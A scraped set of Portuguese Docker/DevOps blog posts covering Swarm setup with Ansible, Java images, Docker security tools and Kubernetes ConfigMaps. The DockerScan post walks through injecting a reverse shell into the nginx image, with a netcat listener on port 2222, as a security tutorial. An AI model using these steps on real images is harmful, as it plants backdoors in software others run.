Cluster de Docker Swarm com Ansible

Fala pessoal, faz tempo que não criamos conteúdo para o site, foram alguns meses de conversa sobre o futuro do blog. E a partir de hoje vamos iniciar os nossos posts de 2018, o Mundo Docker por mais que contenha a palavra “Docker” em seu nome não é um blog que contenha só posts referentes a essa tecnologia, mas sim as tecnologias mais usadas no momento. No decorrer desse ano vamos falar de muita coisa que está sendo usada hoje em dia.

Então para nosso primeiro post do ano vamos mostrar como é possível realizar a configuração de um cluster de Docker Swarm com 3 managers e 1 Worker utilizando Ansible. para quem ainda não possui familiaridade com as nomenclaturas do Docker, Manager é o papel responsável por gerenciar o cluster de Docker Swarm, já o Worker é o responsável por hospedar os containers.

Mas o que é o Ansible? Basicamente é uma ferramenta de automatização de tarefas que é muito utilizada para provisionamento e configuração de servidores, muito semelhante a Chef e Puppet. Você pode ver mais detalhes dela em nosso outro post que detalha mais sobre o ansible:

Ansible

Para esse post vamos utilizar 5 máquinas virtuais, das quais:
3 Ubuntu 16.04 que serão utilizados como Managers
1 Ubuntu 16.04 que será utilizado como Worker
1 Ubuntu 16.04 que estará com o Ansible instalado

Nosso principal objetivo é realizar a configuração de nossos servidores de forma declarativa através do Ansible e disparar os Playbooks de configuração de nossos servidores.

Vamos iniciar fazendo a instalação do Ansible em nosso servidor que será o responsável por conectar nos outros 4 servidores. Como o Ansible conecta através de ssh nas máquinas então não é preciso realizar a instalação de agentes nas máquinas de destino, o único requisito é ter o acesso ssh liberado para a máquina que irá executar o Ansible. No momento da criação desse post a versão mais recente do Ansible é a 2.5 então vamos utilizar essa versão. Na máquina que estamos utilizando para servir como Ansible você irá executar os seguintes comandos:

sudo apt-get update
sudo apt-get install software-properties-common
sudo apt-add-repository ppa:ansible/ansible
sudo apt-get update
sudo apt-get install ansible

Após a execução desses comandos você estará com o Ansible instalado em sua máquina, o Ansible cria o diretório /etc/ansible/ dentro deste diretório temos o arquivo ansible.cfg que é o responsável por gerenciar algumas configurações como métodos de conexões, portas, protocolo, entre outras configurações. Alguns exemplos de configurações que muitas vezes são alteradas no ansible.cfg:

remote_port = 22
sudo_user = root
host_key_checking = False
# SSH timeout
timeout = 10

Esse foi um exemplo simples de alteração, você pode acessar o arquivo e verificar todas as opções de mudança. Vamos continuar então realizando a nossa configuração. Vamos criar o diretório que irá conter as nossas configurações para os servidores:

mkdir /home/exemplopost
mkdir /home/exemplopost/roles
mkdir /home/exemplopost/group_vars
cd /home/exemplopost
touch /home/exemplopost/hosts
touch /home/exemplopost/main.yml

Esses são os diretórios base que utilizamos em um projeto com Ansible, essa é uma nomenclatura padrão com quem trabalha com ansible. Dentro de “Roles” é onde vamos colocar os nossos “Playbooks” responsáveis pela configuração dos servidores onde segmentamos por funcionalidades, “group_vars” é onde colocamos os nossos templates de variáveis que utilizamos dentro dos nossos Playbooks. Ainda temos os arquivos “hosts” onde estão as informações dos servidores que vamos conectar e também o arquivo “main.yml” que é o início da execução do nosso Ansible, onde estará descrito as Roles que serão executadas e quais os hosts que serão usados. Então vamos iniciar adicionando os nossos hosts no arquivo hosts.

vim /home/exemplopost/hosts

[docker_swarm_manager]
MANAGER1 ansible_ssh_host=10.10.10.2 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
MANAGER2 ansible_ssh_host=10.10.10.3 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
MANAGER3 ansible_ssh_host=10.10.10.4 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
[docker_swarm_worker]
WORKER1 ansible_ssh_host=10.10.10.5 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost

Esse é o conteúdo do nosso arquivo de hosts, dentro deles temos dois grupos de máquinas, um que chamamos de “docker_swarm_manager” e “docker_swarm_worker” com a criação de grupos conseguimos definir que determinado grupo irá executar Roles X e outro grupo irá executar Roles Y, visto que nesse caso Managers e Workers possuem diferentes configurações. Vamos criar uma hierarquia de diretórios e arquivos conforme a imagem abaixo:

Vamos agora editar o arquivo /home/exemplopost/roles/docker/tasks/main.yml:


---
  - name: Realizando apt-get update
    apt:
     update_cache: yes
  - name: Modificando hostname
    shell: hostname {{ inventory_hostname }}

  - name: Instalando a versão mais recente do Docker
    shell: curl -sS https://get.docker.com | sh

  - name: Reiniciar serviço do Docker
    systemd:
     state: restarted
     enabled: yes
     daemon_reload: yes
     name: docker

Com isso temos todos os passos que são comuns em todos os servidores de Manager e Worker. Agora vamos realizar a configuração dos Managers: Abra o arquivo /home/exemplopost/roles/manager/tasks/main.yml:


---
  - name: Verifica se o Docker Swarm está habilitado
    shell: docker info
    changed_when: False
    register: docker_info

  - name: Cria o cluster no primeiro servidor
    shell: docker swarm init --advertise-addr {{ docker_swarm_manager_ip }}:{{ docker_swarm_manager_port }}
    when: "docker_info.stdout.find('Swarm: active') == -1 and inventory_hostname == groups['docker_swarm_manager'][0]"

  - name: Armazena o token de manager
    shell: docker swarm join-token -q manager
    changed_when: False
    register: docker_manager_token
    delegate_to: "{{ groups['docker_swarm_manager'][0] }}"
    when: "docker_info.stdout.find('Swarm: active') == -1"
 
  - name: Adiciona os outros swarms Managers no cluster.
    shell: docker swarm join --token "{{ docker_manager_token.stdout }}" {{ docker_swarm_manager_ip}}:{{ docker_swarm_manager_port }} 
    changed_when: False
    when: "docker_info.stdout.find('Swarm: active') == -1
     and docker_info.stdout.find('Swarm: pending') == -1
     and 'docker_swarm_manager' in group_names
     and inventory_hostname != groups['docker_swarm_manager'][0]"

 

Após criar o cluster e adicionar os servidores de Managers, vamos adicionar o nosso Worker para isso vamos editar /home/exemplopost/roles/worker/tasks/main.yml:


---
  - name: Verifica se o Docker Swarm está habilitado.
    shell: docker info
    changed_when: False
    register: docker_info

  - name: Pega o token do worker.
    shell: docker swarm join-token -q worker
    changed_when: False
    register: docker_worker_token
    delegate_to: "{{ groups['docker_swarm_manager'][0] }}"
    when: "docker_info.stdout.find('Swarm: active') == -1"

  - name: Adiciona o servidor de Worker no cluster.
    shell: docker swarm join --token "{{ docker_worker_token.stdout }}" {{ docker_swarm_manager_ip}}:{{ docker_swarm_manager_port }}
    changed_when: False
    when: "docker_info.stdout.find('Swarm: active') == -1
           and docker_info.stdout.find('Swarm: pending') == -1"

Os playbooks acima são os responsáveis pela criação do cluster de Docker Swarm. Agora vamos criar as variáveis que serão utilizadas.

/home/exemplopost/group_vars/all


---
  docker_swarm_manager_ip: "10.10.10.2"
  docker_swarm_manager_port: "2377"

Vamos agora definir o nosso arquivo main para chamar as roles a serem executadas. Para isso vamos criar o arquivo em /home/exemplopost/main.yml


---
 - name: Configurando Managers
   hosts: docker_swarm_manager

   roles:
     - docker
     - manager

 - name: Configurando Workers
   hosts: docker_swarm_worker
   roles:
    - docker
    - worker

Agora sim, criamos todos os arquivos necessários para rodar o nosso playbook, após fazer isso basta você executar o comando:

 ansible-playbook -i hosts main.yml

.
Feito isso temos o nosso cluster de Docker Swarm configurado e funcionando. Fizemos uma configuração simples que funciona muito bem para um ambiente de teste.

Espero que esse post tenha sido útil para vocês e gostaria que deixassem aqui embaixo algum comentário ou dúvidas para que cada vez mais possamos melhorar o nosso conteúdo para que fique simples para todos e também útil, então por hoje era isso pessoal, um grande abraço e muito obrigado!

Trabalha em uma Startup com foco em Plataforma como Serviço (PaaS), é especialista em Cloud Computing e Conteinerização, desenvolve todo dia uma nova maneira de resolver problemas e criar coisas novas.

Java em Docker

Olá pessoas, tudo bem?

Estamos há algum tempo pensando em montar um conteúdo um pouco mais prático sobre algumas soluções e claro, dúvidas que nossos leitores tem. Pensando nisso, queremos trazer hoje algumas dicas de como você pode montar uma imagem para sua aplicação Java \o/.

Bom, antes de tudo é válido reforçar que entender um Dockerfile é fundamental para quem tem interesse na criação não só de imagens para Java, mas para qualquer linguagem ou ainda aplicação. Mas por que? Por que ele te da o poder de criar o ambiente exatamente da forma que você quer e precisa, além é claro de servir como documentação do seu ambiente, pois tudo que você precisa estará dentro do Dockerfile, então, se você ainda não leu, por favor leia o post onde explicamos melhor ele ;).

Vamos começar pequeno, um passo por vez, em nosso lab, vamos criar no diretório corrente uma pasta chamada “app”, dentro dela vamos criar o Dockerfile com o seguinte conteúdo:

FROM phusion/baseimage:0.9.17
RUN echo "deb http://archive.ubuntu.com/ubuntu trusty main universe" > /etc/apt/sources.list
RUN apt-get -y update
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y -q python-software-properties software-properties-common
ENV JAVA_VER 8
ENV JAVA_HOME /usr/lib/jvm/java-8-oracle
RUN echo 'deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main' >> /etc/apt/sources.list && \
 echo 'deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main' >> /etc/apt/sources.list && \
 apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C2518248EEA14886 && \
 apt-get update && \
 echo oracle-java${JAVA_VER}-installer shared/accepted-oracle-license-v1-1 select true | sudo /usr/bin/debconf-set-selections && \
 apt-get install -y --force-yes --no-install-recommends oracle-java${JAVA_VER}-installer oracle-java${JAVA_VER}-set-default && \
 apt-get clean && \
 rm -rf /var/cache/oracle-jdk${JAVA_VER}-installer

RUN update-java-alternatives -s java-8-oracle
RUN echo "export JAVA_HOME=/usr/lib/jvm/java-8-oracle" >> ~/.bashrc
RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
CMD ["/sbin/my_init"]

Explicando.

FROM – Começamos sempre a criação de uma imagem baseada em outra imagem, em nossos exemplos vamos pegar a “phusion/baseimage:0.9.17” e baseada nela montaremos todo o resto, incluindo o Java propriamente dito (lembramos que você não precisa criar tudo do zero, no Docker Hub existem imagens prontas com o SDK já instalado).

RUN – Utilizamos para executar os comandos que desejados na imagem, isso para a adição de repositório, instalação de pacotes, criação de arquivos, etc. Basicamente qualquer comando sh pode ser utilizado aqui.

ENV – Serve para definirmos algumas variáveis dentro da imagem, em nosso caso, definimos a versão do Java que queremos instalar, bem como o path “java_home” da instalação.

CMD – Comando de inicialização da imagem, aqui você define o comando que será utilizado para subir seu container e mante-lo em execução (caso seja necessário), em nosso exemplo definimos um comando fake, que não tem ação nenhuma.

Feito, precisamos buildar a imagem para posteriormente utiliza-lá, para gerar a imagem você deve executar o comando:

$ docker build -t meujava:8 .

Com isso, aparecerá na sua lista de imagens essa que você acabou de gerar, e baseada nela vamos subir uma aplicação muito simples. Então, no mesmo diretório onde você está, crie um arquivo chamado: Main.java com o seguinte conteúdo:

public class Main
{
 public static void main(String[] args) {
 System.out.println("Oi MundoDocker ;)");
 }
}

Ok, agora vamos testar a imagem, para isso basta apenas criar um container e mapear o diretório onde você está, dessa forma é possível compilar esse arquivo que acabamos de criar, veja:

$ docker run --rm -v $PWD:/app -w /app meujava:8 javac Main.java

Está pronto? Calma amiguinho, o que fizemos foi compilar nossa aplicação, veja que no mesmo diretório apareceu um novo arquivo chamado Main.java, esta é o arquivo compilado e pronto para a execução, vamos lá:

$ docker run --rm -v $PWD:/app -w /app meujava:8 java Main

Veja que o retorno será exatamente a mensagem que definimos no arquivo Main.java, sim, eu sei, é ma exemplo ridículo de simples, mas temos que começar por algo.

Sim, este é um exemplo bem simples, que serve como exemplo de como é possível executar uma aplicação Java dentro de containers Docker, é claro que essa é a base para que você mesmo possa evoluir e construir seu ambiente da forma a atender melhor a sua necessidade.

Por hoje era isso, no vemos ano que vem 😉

Grande abraço!

Entusiasta Open Source, seu principal foco é ir atrás de ideias novas e torna-las realidade através de soluções simples e eficientes, o menos é mais, e o dividir é multiplicar.

DockerScan: Análise e hacking para Docker

Olá gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker,  vamos ver mais detalhes sobre a ferramenta DockerScan.

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    • Delete: Exclui image / tag remota
    • Info: Mostra informações  de registros remotos
    • Push: Envia uma imagem
    • Upload: Upload de arquivo
  • Image
    • Analyze
      • Busca por informações confidenciais em uma imagem
      • Busca por senhas em variáveis de ambiente
      • Busca por qualquer URL / IP em variáveis de ambiente
      • Tenta identificar o usuário usado para executar o software
    • Extract: extrair uma imagem
    • Info: Obtém meta-informação da imagem
    • Modify:
      • entrypoint: altere o ponto de entrada em um Docker
      • trojanize: injeta um reverse shell em uma imagem Docker
      • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:

> python3.5 -m pip install -U pip

Agora instalamos o DockerScan

> python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

> dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.

Analista de Desenvolvimento na KingHost, graduado em ADS pelo Senac. Pós-graduando em Segurança Cibernética pela UFRGS, entusiasta Open Source e Software Livre.

Segurança e hacking de containers Docker

Olá gente! Tudo bem?

Como vocês podem ter notado, meu nome é Fernando e este é o meu primeiro post aqui no blog, e minha contribuição será no sentido de esclarecer e ajudar vocês com algumas questões que pouca gente se preocupa, ou até mesmo implementa, mas que eventualmente pode prejudicar a sua aplicação ou seu negócio, sim, hoje falaremos sobre Segurança 😉 .

A alguns meses iniciei uma busca por informações sobre segurança relacionado a Docker, pois não via quase ninguém falar, na época até pensei que era porque eu estava por fora dos grupos de discussões, mas ao ir conversando com algumas pessoas bem envolvidas com a comunidade Docker fui vendo que em português temos bem pouco sobre este assunto. Então comecei a buscar por este assunto e fui encontrando materiais em inglês, assim fui montando um compilado de materiais sobre para tentar criar uma apresentação ou artigo. Conversando com o Cristiano do Mundo Docker, que é um membro muito ativo na comunidade Docker, recebi bastante incentivo pois ele também achou que o assunto é bem importante e pouco abordado, e nesta conversa surgiu a ideia de fazer uma pesquisa com a comunidade para saber de quem está usando Docker o que estão fazendo com relação a segurança.

Foi um questionário bem simples, com 3 perguntas  que foi realizado entre 14 e 25 de agosto 2017, com 36 participantes.

Primeira pergunta: Já utilizou Docker em produção?

Mais de 55 por cento das pessoas que participaram da pesquisa responderam que utilizam Docker em produção.

Segunda pergunta: Verifica vulnerabilidades nas imagens utilizadas?

Dos 36 participantes menos de 20 por cento faz algum tipo de verificação para tentar identificar vulnerabilidades nas imagens Docker utilizadas.

Terceira pergunta: Como verificar vulnerabilidades?

E na última pergunta a ideia era identificar se é utilizado algum tipo de ferramenta para fazer as verificações de vulnerabilidades. Dos 19.4% que responderam que fazem alguma verificação somente um respondeu que utilizava alguma tipo de ferramenta, os outros informaram fazer verificações manuais, analisando o dockerfile e suas dependências, verificando autenticação, permissões e qualquer tipo de comunicação com o host.

Com base nessa pesquisa eu passei a focar o desenvolvimento deste material em ferramentas que podem ajudar no dia-a-dia para verificação de vulnerabilidades, em imagens, container e host. E com isso também encontrei ferramentas para fazer hacking de containers Docker. Para se proteger nada melhor que saber como pode ser atacado, então acompanhem até o final que vamos ter bastante dicas e ferramentas bacanas.

Mas para começarmos a utilizar as ferramentas primeiro precisamos estar ciente de algumas preocupações e práticas de segurança  ao usar Docker.

Preocupações com segurança ao usar Docker

Kernel exploits (exploração do kernel)

Ao contrário de uma VM, ao usar containers o kernel é compartilhado entre todos os containers e o host, aumentando a importância de qualquer vulnerabilidade que explore o kernel.

Denial-of-service attacks (ataque de negação de serviço)

Como todos os containers compartilham  recursos do kernel, se um container pode monopolizar o acesso a certos recursos, incluindo memória, ou até IDs de usuário (UIDs), pode faltar recursos para outros containers, resultando em uma negação de serviço (DoS).

Container breakouts (invasão de container)

Um invasor que tem acesso a um container não pode ter acesso a outros containers ou ao host. Se você usa root no container, você será root no host.

Poisoned images (imagens “envenenadas”)

Como você sabe que as imagens que você está usando são seguras, não foram adulteradas, e vêm de onde elas afirmam vir?

Application secrets (segredos de aplicações)

Quando um container acessa um banco de dados ou serviço, provavelmente exigirá credenciais, como um token ou mesmo usuário e senha. Se um invasor tiver acesso ao container terá acesso a estes dados.

Práticas de segurança

No tópico anterior foi levantada algumas preocupações de segurança que devemos ter ao usar containers, agora vamos ver algumas possíveis soluções para tentar resolver estes problemas.

Inicio este tópico com uma pergunta.

Como devemos armazenar dados sensíveis, como senhas, chaves privadas, tokens, chaves de APIs?

Para começar a responder esta pergunta, eu acho mais fácil e direto responder como não devemos armazenar dados sensíveis.

Não use variáveis de ambiente ou incorpore na imagem de container. É uma dica meio óbvio mas acontece e muito. Se quiserem ler sobre um caso, de utilização de credenciais incorporadas na imagem e que vazou,  tem um consideravelmente conhecido que aconteceu com a IBM: IBM Data Science Experience: Whole-Cluster Privilege Escalation Disclosure.

Mas como então devemos armazenar nossas credenciais de acesso quando usamos containers? Uma ótima solução é utilizar o Docker Secrets Management.

Docker Secrets Management

O Docker Secrets funciona como um cofre onde você pode colocar coisas sensíveis lá e só quem tem a chave do cofre consegue utilizar, no caso essa chave é designada aos nós dos serviços que a chave for atribuída. Mais de como funciona pode ser visto no blog Mundo Docker – Docker Secrets.

Outras dicas de segurança menciono abaixo em forma de tópicos:

Proteja seu host

  • Certifique-se de que seu host e a configuração do Docker engine sejam seguras
  • Mantenha seu SO atualizado
  • Impor controle  de acesso para evitar operações indesejadas, tanto no host como nos containers, usando ferramentas como SecComp, AppArmor ou SELinux

Redução dos privilégios

  • Tomar cuidado ao executar como root
  • Crie namespaces isolados
  • Limitar privilégios ao máximo
  • Verifique se o container é confiável (verifique a imagem)

Alto uso de recursos do container

  • Limite os recursos no kernel ou no container
  • Fazer testes de carga antes de pôr em produção
  • Implemente monitoramento e alertas

Autenticidade da imagem

  • De onde veio?
  • Você confia no criador?
  • Quais políticas de segurança está usando?
  • Identificação do autor
  • Não use se não confia na fonte
  • Use um servidor Docker Registry próprio
  • Verifique a assinatura da imagem

Vulnerabilidades de segurança presentes na imagem

  • Inspecionar as imagens
  • Atualize para pegar novos patches de segurança
  • Utilize uma ferramenta de scanner de vulnerabilidades
  • Integre esse scanner como etapa do seu CI/CD

Ferramentas de análise de segurança e hacking

Até aqui vimos algumas preocupações que devemos ter e algumas soluções relacionadas a segurança quando usamos containers, agora vamos ver algumas ferramentas que podem nos auxiliar e muito no nosso dia-a-dia.

Docker Security Scanning

Anteriormente conhecido por Projeto Nautilus, a solução fornece um perfil de segurança detalhado das imagens Docker com objetivo de tornar o ambiente em conformidade com as melhores práticas. A ferramenta faz uma varredura das imagens antes de serem utilizadas e monitoramento de vulnerabilidades. Esta ferramenta está disponível no Docker Hub, Store e Cloud.

No Docker Hub por exemplo está disponível para as imagens oficiais e pode ser visto o nível de vulnerabilidade destas imagens ao acessar as tags.

Ao clicar em uma das tags é possível identificar em qual camada está esta vulnerabilidade.

Abaixo algumas ferramentas separadas por projetos Open Source e Aplicações Web gratuitas ou pagas. São ferramentas que podem auxiliar no dia-a-dia na verificação de vulnerabilidades.

Ferramentas Web

  • Anchore – anchore.io – Descubra, analise e certifique as imagens e containers
  • Image Layers – imagelayers.io – Inspeciona as imagens dos containers e seus metadados
  • Micro Badger – microbadger.com – Inspeciona as imagens dos containers e seus metadados
  • Quay – quay.io – Constrói, analisa e distribui imagens de containers
  • Twistlock – twistlock.com – Segurança para containers Docker, Kubernetes e mais
  • Aqua – aquasec.com – Plataforma de segurança para containers

Ferramentas Open Source

  • Docker Bench for Security – https://dockerbench.com/ – O Docker Bench for Security é um script que verifica dezenas de melhores práticas comuns em torno da implantação de containers Docker na produção.
  • Open Scap – open-scap.org – Esta ferramenta faz revisão de imagens e containers para identificar vulnerabilidades.
  • Docke Scan – github.com/kost/dockscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades.
  • Docker Scan – github.com/cr0hn/dockerscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades e também possui funcionalidade para injetar vulnerabilidades.

Isso é tudo por enquanto, mas se você conhece outras dicas ou ferramentas que não são mencionadas aqui, deixe um comentário abaixo. Obrigado pela leitura e um grande abraço!

 

Analista de Desenvolvimento na KingHost, graduado em ADS pelo Senac. Pós-graduando em Segurança Cibernética pela UFRGS, entusiasta Open Source e Software Livre.

Kubernetes – ConfigMap

Fala pessoal, estamos aqui novamente para continuar nossa série que fala sobre Kubernetes. Abaixo coloquei a lista de posts criados até o momento referente a Kubernetes, então se não tinha visto o ínicio é só clicar abaixo e ler cada um dos posts.

Conceitos de Kubernetes

Instalação e Configuração

Iniciando um servidor web

Entendendo Pods

Entendendo Services

Entendendo Namespaces

 

Então, o que é ConfigMap? É o desacoplamento dos artefatos de configuração do conteúdo da imagem para manter os aplicativos contidos em container. De forma simples podemos dizer que ConfigMap é um conjunto de pares de chave-valor para armazenamento de configurações, que ficará armazenado dentro de arquivos  que podem ser consumidos através de Pods ou Controllers,. Ele é muito parecido com Secrets, mas fornece um modo de se trabalhar com strings que não possuem dados confidências, como senhas, Chaves, Tokens e outros dados sigilosos.

Os arquivos de ConfigMap, podem ser tanto arquivos complexos que possuem poucas regras, como também arquivos no formato JSON complexos e cheio de regras. Podemos ver alguns exemplos abaixo de ConfigMaps tanto simples quanto complexos:
Podemos ver aqui um exemplo de criação de um ConfigMap através do client do Kubernetes “kubectl”

kubectl create configmap site --from-literal='url=mundodocker.com.br' Podemos ver 

Podemos ver aqui um outro exemplo que é um arquivo de configuração que a partir dele também podemos criar o nosso ConfigMap

apiVersion: v1
kind: ConfigMap
metadata:
  name: mundodocker
  labels:
    name: mundodocker
  namespace: test
data:
  config: |-
    ---
    :url: mundodocker.com.br

Como foi visto acima existe 2 formas nas quais podemos criar o nosso ConfigMap, mas ahhh Bicca, como integramos isso com nosso Pod? Existem algumas formas para isso a primeira é que você pode colocar isso dentro do arquivo de criação do Pod, como mostro abaixo:


apiVersion: v1
kind: Pod
metadata:
  name: mundodocker
spec:
  containers:      
  - image: gcr.io/google_containers/busybox      
    name: container
    volumeMounts:
    - name: configmap
      mountPath: "/tmp"
  volumes:
  - name: configmap
    condigMap:
      name: site

 

Essa seria a forma de criação de um Pod com ConfigMap habilitado por exemplo, esses são exemplos simples de arquivos que mostram como funciona o uso de ConfigMaps.

ALGUMAS DICAS:

  • Lembre-se que para que seja possível criar o seu Pod com ConfigMap, você precisa primeiro criar o ConfigMap ou coloca-lo como opcional, pois caso contrario o Pod não irá ser iniciado por causa que o ConfigMap ainda não foi criado.
  • ConfigMap estão dentro de Namespaces, então apenas Pods do mesmo Namespace podem acessa-los
  • Podem ser consumidos de 3 formas: Argumentos, Variaveis de ambiente e Arquivos em volumes. Essa quantidade de modos faz com que ConfigMap se enquadre em grandes partes das aplicações.

 

Pessoal, vamos continuar criando posts para explicar alguns componentes do Kubernetes e em breve vamos colocar mais conteúdos para demonstrar como é possível utilizar Kubernetes em produção com exemplos de uso no dia-a-dia, fique ligado que em breve estaremos com muitas novidades em nosso site e também.

Trabalha em uma Startup com foco em Plataforma como Serviço (PaaS), é especialista em Cloud Computing e Conteinerização, desenvolve todo dia uma nova maneira de resolver problemas e criar coisas novas.

NodeJS com Docker na Umbler

Eai pessoal, blz?

O post hoje será um pouco diferente, queremos trazer para vocês como a Umbler desenvolveu sua plataforma de NodeJS utilizando Docker. SIM, falaremos sobre o que deu certo e, claro, o que deu errado nesse caminho. O intuito é mostrar mais um case de sucesso e tudo que foi preciso para isso :).

A Umbler  já utiliza Docker há alguns anos (obviamente para aplicações/serviços internos) e isso ajudou no desenvolvimento de sua plataforma NodeJs. Mas até chegar à experiência ideal levou tempo, pesquisa, testes, prototipação e muita paciência.

Abaixo compartilhamos com vocês uma apresentação que foi realizada durante o Meetup de NodeJS em Porto Alegre no dia 11/07, onde mostramos aos participantes os detalhes dessa jornada:

Vamos detalhar o que foi apresentado.

Quem mesmo?

A Umbler é uma StartUp gaúcha de cloud hosting sob demanda, seu objetivo é facilitar cada vez mais a vida de quem cria a web, ou seja, as agências e desenvolvedores. Atualmente possui cerca de quarenta mil clientes e conta com setenta funcionários distribuídos pelo mundo.

O caminho até aqui

Como sempre, não existe uma solução mágica para todos os problemas, ou uma única solução infalível. Às vezes, temos que nos aventurar com o máximo de alternativas possíveis para ter certeza de que aquilo não nos atenderá ou, pelo menos, não nos atenderá naquele momento.

Foi assim que, depois de muito meses de testes e prototipação, foi possível observar algumas coisas e descobrir o porquê de algumas soluções não atenderem a demanda que a Umbler queria resolver. Entre as soluções testadas é possível destacar:

OpenShift

Plataforma pronta para criação de containers, baseada em Kubernetes. É uma plataforma que funciona muito bem, tem instalação relativamente fácil, possui gerenciamento centralizado e conta com integração com diversas outras ferramentas/soluções. Esta é uma ferramenta com muitos pontos positivos, pois atende aos mais variados problemas, mas que não se encaixou, até então, no que a Umbler precisava. Dos pontos negativos que se destacam são:Curva de aprendizagem: Openshift possui, além de kubernetes, uma série de outras soluções para que seja possível a criação e gerenciamento dos containers nela hospedado. Seu uso é simples e intuitivo, mas eventualmente algo daria manutenção, e aí estava um dos empecilhos. Além de saber tudo sobre Docker, Kubernetes, OpenVswitch, era obrigatório entender cada um dos demais componentes da plataforma, justamente para se antecipar a algum problema.

  • Restrições: Apesar de todas as facilidades, o OpenShift possui algumas restrições que, para as necessidades mapeadas, impossibilitaram o seu uso ou, pelo menos, gerariam mais demanda para adaptar a plataforma. O objetivo da Umbler é criar uma plataforma completa e fácil, com a menor quantidade de amarras possíveis, garantindo assim a melhor experiência dos usuários, infelizmente o Openshift tornaria isso mais complexo de ser realizado.
  • Inovação: Obviamente inovar é preciso, no mercado de tecnologia isso é além de bom, obrigatório, com as restrições que foram encontradas inovar utilizando o Openshift dependeria muito do que a plataforma teria a oferecer,  ou seja, a inovação do produto estaria presa a inovação da plataforma, restando pouco, ou quase nada de margem para adaptação.
  • Custo: Existem basicamente duas versões do Openshift, a Origin que é opensource e você pode utilizar para resolver seus desafios sozinho, e contar com o apoio da comunidade. Ou a versão enterprise, que garante suporte comercial à plataforma e atualizações dos softwares que a compõem. Independente da versão, o custo/benefício não compensava, pois mesmo com a versão opensource o tempo de resposta ou atualização para algo crítico era muito grande, tornando assim a versão “gratuita” não tão gratuita assim.

Kubernetes

Kubernetes é um orquestrador para containers totalmente opensource, e mantido por uma comunidade gigantesca. Tendo em vista o histórico de testes/prototipação com o Openshift, a segunda abordagem naturalmente seria algo mais voltado ao que já foi visto. Como a base do Openshift é Kubernetes, a ideia era utilizar o Kubernetes e adaptar o que fosse necessário para a plataforma. Simples não? Sim e não, vamos ver algumas restrições dele:

  • Curva de aprendizagem: Realmente, utilizando apenas o Kubernetes a quantidade de tecnologias que deveriam ser dominadas foi reduzida a apenas duas: Docker e Kubernetes. Mesmo assim, o tempo para aprender tudo e saber resolver tudo dessas tecnologias era elevado. Menor do que com Openshift, mas ainda assim algo que faria a plataforma levar mais tempo a ser finalizada.
  • Restrições: Depois de muita leitura, estudo e testes, foram encontradas ainda assim algumas restrições, a mais clássica delas é o Kubernetes não suportar as últimas versões do Docker, ou seja, sempre haveria um gap entre o que foi lançado de novidade pela engine do Docker e o que realmente está sendo utilizado.
  • Inovação: Como no caso da Openshift, o uso do Kubernetes resolveria diversos pontos da plataforma, mas ainda assim seria algo que poderia travar a inovação e adaptação da plataforma.

Docker Swarm

O Swarm é o método nativo de cluster na engine do Docker, a partir da versão 1.12 do Docker é possível utilizar esse recurso sem a necessidade de uma ferramenta ou solução de terceiros. Assim como no Kubernetes, com o Swarm é possível criar e gerenciar todos os serviços/containers do cluster. Com o Swarm foi possível resolver algumas das pendências das demais soluções, como por exemplo:

  • Curva de aprendizagem: Como já mencionado, a Umbler utiliza Docker há algum tempo, então já havia em casa mesmo o conhecimento prévio, bastando apenas a adaptação para o modo de cluster.
  • Custo: Existe a versão opensource e a versão enterprise do Docker, a grande diferença entre depender da comunidade Docker e comunidade Openshift é a velocidade na resolução de alguma issue ou até mesmo melhoria para a engine, isso facilita na tomada de decisão, sem contar no tamanho das comunidades 😉
  • Inovação: Ainda há uma amarra quanto a tecnologia, no entanto, com o Swarm é possível criar/modificar a plataforma na mesma velocidade da engine de containers.

